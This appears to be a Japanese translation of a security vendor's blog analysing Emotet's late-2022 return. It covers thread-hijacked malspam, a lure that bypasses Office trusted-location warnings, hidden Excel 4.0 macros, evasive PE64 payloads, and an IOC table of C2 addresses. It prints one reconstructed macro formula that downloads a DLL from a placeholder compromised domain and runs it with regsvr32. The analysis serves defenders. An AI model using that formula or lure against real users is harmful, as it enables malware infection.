Emotetの休暇は終了:悪い奴は休まない
Emotetは、2014年に出現した当初、バンキングトロジャンとして登場した多機能マルウェアボットネットです。財務諸表、振込、支払請求書などを模倣し、スパムメールのキャンペーンによって拡散されました。Emotetは、主にマクロを含むOfficeメールの添付ファイルを介して伝播されます。有効にすると、悪意のあるPEファイル(Emotet本体)がダウンロードされ、それが実行されます。
Emotetの動作は2021年初頭に活動が中断されましたが、数カ月間の活動休止期間を経て、再び出現し、10月中旬以降はほぼ毎日活動しています。
図 1: 7 月中旬から 11 月初旬まで新しいスパムがないことを示す Emotet の活動 (出典: MalwareBazaar)
ボットネットのオペレータが最初に行ったことは、現在感染しているコンピュータをマルウェアの新しいバージョンに更新することでした:
図2: 休暇後に観測されたEmotetの初期活動(出典Twitter†)
「スレッドハイジャック(メールなりすまし)」経由のデリバリー
現在のEmotetマルスパムの波は、「スレッドハイジャック」メールでやってきて、添付ファイルはパスワードで保護されたzip形式と普通の添付ファイルの両方で提供されます:
図3:パスワードで保護されたZIP形式の添付ファイルを含む電子メール
図4:Emotetの悪意のあるOfficeの添付ファイル(パスワードで保護されたZIPなし)
Emotetマルスパムの「変化」
休暇に入る前の Emotet マルスパムは、Excel 4.0 マクロを含む XLS ファイルで構成されていました。
このファイルには、マクロを実行させるコンテンツを有効にするよう被害者に要求する簡単なソーシャルエンジニアリング画像が含まれていました:
図5:7月のEmotet XLSファイル (a2daa1b6f2dccc95e9a7d8d89932c7d7936aa2e53bbf4921f81f5b38257d5894)
休暇が終わった後も、 Emotetの波にはXLS ファイルが含まれていましたが、ソーシャルエンジニアリングの要素は変化しています:
図6:Emotetが使用する新しいソーシャルエンジニアリングの誘い文句
被害者は、別の場所、Microsoft Officeのテンプレートフォルダからファイルをコピーして実行するように要求されます。
この場所からオフィスファイルを実行すると、セキュリティ警告が回避され、ファイルを開くとExcel 4.0のマクロが自動的に実行されるようになっています:
図7:テンプレートフォルダはマクロの自動実行を可能にする「信頼できる場所」になっている
アドバイス: 防御者と IT 部門は、信頼できる場所を無効にするか、そのような場所への書き込みアクセス を非特権ユーザーに制限し、それらの場所からの疑わしい実行を積極的に監視する必要があります。
このソーシャル・エンジニアリングの変更に加え、Emotetが使用したテクニックは、手動でシートをチェックすると、空のように見えますが、隠れた値が含まれているため、あまり変わりません:
図8 Emotetが使用する「空」シート
auto_openマクロも非表示になっています:
図9:"Auto_Open "マクロを含む隠しカラム
数式は、異なるセルからの値を連結し、最終的にEmotet DLLをダウンロードして実行するように作成されますが、これはシグネチャなどの静的解析による検知を避けるために行われます。
最終的にはこのような形になるはずです:
=FORMULA(=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://compromised_domain/random/path/","..\oxnv1.ooccxx",0,0),G16) =FORMULA(=EXEC("C:\Windows\System32\regsvr32.exe ..\oxnv1.ooccxx"),G18)
Emotetのペイロード
Emotetの攻撃者は2022年半ばに本体の実行ファイルをPE32ベースからPE64ベースに移行し、いくつかの新機能を追加し、古いコードの一部を作り直しました。しかし全体的な構造は変わっていません。
図10:PE64の新しいEmotet (DetectItEasy)
Emotetの設定ファイルから、悪意のあるIPリスト、epoch4ボットネットを使用している証拠、ECDHおよびECDSAキー(IOCsテーブルを参照)を見ることができます。
スキャンされたときに正規のアプリケーションのように見せかけるために、EmotetはDinkumWare社からライセンスを受けたC++ライブラリを使用しています。
図11: Dinkumware C++ ライブラリ
図12 Dinkumwareのウェブサイト(www.dinkumware.com)
さらに、Emotetには、実行時に正当なアプリケーションの動作を模倣するようなループがいくつかあります、例えば、"良性の文字列を印刷する "といったものです。
図13:良性文字列の印刷機能
数独を組み、盤面の番号を確認するような動作ロジックも(実際にはそんな動作しませんが...)。
図14:良性ストリング
Emotetの本当の仕事
最終的なDLLは暗号化され、実行時にメモリにアップロードされるため、調査や検出が困難になっています。VirtualAllocへのAPIコールでさえ、彼らの古いバージョンのように難読化され、APIのアドレスは動的に取得されます。呼び出しのパラメータはSTRINGとして保存され、ランタイム中にINTに変換される。
このテクニックについては、Deep Instinctの以前のブログで詳しく紹介されています。
図 15:VirtualAlloc 検出の回避
ペイロード自体は暗号化され、base64でエンコードされています:
図16:base64で暗号化されたペイロード
マルウェアが実行されると、base64テキストをバイナリデータにデコードします。
図17:Base64バイナリデータ
バイナリデータはその後復号され、最終的にペイロードを取得します。"MZ... this program cannot be run in DOS mode "と表示されていることから容易に特定できます。
図18:最終的なペイロードが明らかに
その他、以前のバージョンのEmotetと類似したアーティファクトには、以下のようなものがあります:
- インポートテーブルが空
- 参考になる文字列の少なさ
- 類似のコードフロー平坦化技術
これらの技術については、Emotetに関するDeep Instinctの以前のブログで詳しく説明されています。
マルチステージ・マルチステップを多用したコードの多くは、復号化されたPEがメモリにアップロードされて始めて検出できるようになるため、VTでは、初期DLLファイルでは検知率が低く、復号化されたあとのDLLファイルでは検知率が高くなることが確認できます。
図 22:Emotet Dll の初期状態
図 23:Emotet Dll の最終状態
結論
Emotetは、数ヶ月の夏休みを経て、再びマルスパムを送信するようになりました。
現在の波は、休暇前とあまり変化が見られません。しかし彼らは少しづつ変更を加え、良性のコードブロックの追加したり、PE64への完全移行などによって、検知を回避しようと試みているようです。
Emotetは、脅威の状況が新しい初期感染ベクトルや新しい迂回方法を好むように変化するにつれて、長年にわたってわずかにテクニックやTTPを変えてきました。
近い将来、Emotet が Excel 4.0 のマクロから、より成功率の高い別の初期感染ベクトルに移行しても不思議ではありません。
Deep Instinct をご利用中のお客様は、静的解析であるファイルスキャンと、動的解析の振る舞い分析を組み合わせたレベルの高い多層防御によって、新しい Emotet キャンペーンから保護されており、今回の新しいEmotetの攻撃も初見でブロックしています。
図24:Emotetの悪意のあるOfficeファイルに対する静的エンジンの防止策
IOC
ZIP | 19c43584bd90e6507ba4a4dad59fdf3a | N/A |
XLS | e99144862c6a3bb1d25846e962dc1633 | 893f9b10a48073fc3fa0d5c8867f7200 |
DLL | b0ebf252754995807a8fe9dca7a063b8 | bf488b48716275f2e3dc9efc7fea4aea |
DLL Decrypted | 236AE63E2AC25B35EDBCECA4443BD95F | |
C2 | 45.235.8[.]30:8080 94.23.45[.]86:4143119.59.103[.]152:8080169.60.181[.]70:8080164.68.99[.]3:8080172.105.226[.]75:8080107.170.39[.]149:8080206.189.28[.]199:80801.234.2[.]232:8080188.44.20[.]25:443186.194.240[.]217:443103.43.75[.]120:443149.28.143[.]92:443159.89.202[.]34:443209.97.163[.]214:443183.111.227[.]137:8080129.232.188[.]93:443139.59.126[.]41:443110.232.117[.]186:8080139.59.56[.]73:8080103.75.201[.]2:44391.207.28[.]33:8080164.90.222[.]65:443197.242.150[.]244:8080212.24.98[.]99:808051.161.73[.]194:443115.68.227[.]76:8080159.65.88[.]10:8080 | 201.94.166[.]162:44395.217.221[.]146:8080173.212.193[.]249:808082.223.21[.]224:8080103.132.242[.]26:8080213.239.212[.]5:443153.126.146[.]25:708045.176.232[.]124:443182.162.143[.]56:443169.57.156[.]166:8080159.65.140[.]115:443163.44.196[.]120:8080172.104[.]251.154:8080167.172.253[.]162:808091.187.140[.]35:808045.118.115[.]99:8080147.139.166[.]154:808072.15.201[.]15:8080149.56.131[.]28:8080167.172.199[.]165:8080101.50.0[.]91:8080160.16.142[.]56:8080185.4.135[.]165:8080104.168.155[.]143:808079.137.35[.]198:80805.135.159[.]50:443187.63.160[.]88:80 |
Eck1 | MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE86M1tQ4uK/Q1Vs0KTCk+fPEQ3cuw TyCz+gIgzky2DB5Elr60DubJW5q9Tr2dj8/gEFs0TIIEJgLTuqzx+58sdg== | |
Eck2 | MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEQF90tsTY3Aw9HwZ6N9y5+be9Xoov pqHyD6F5DRTl9THosAoePIs/e5AdJiYxhmV8Gq3Zw1ysSPBghxjZdDxY+Q== |
References
* Figure 1: MalwareBazaar
† Figure 2: Twitter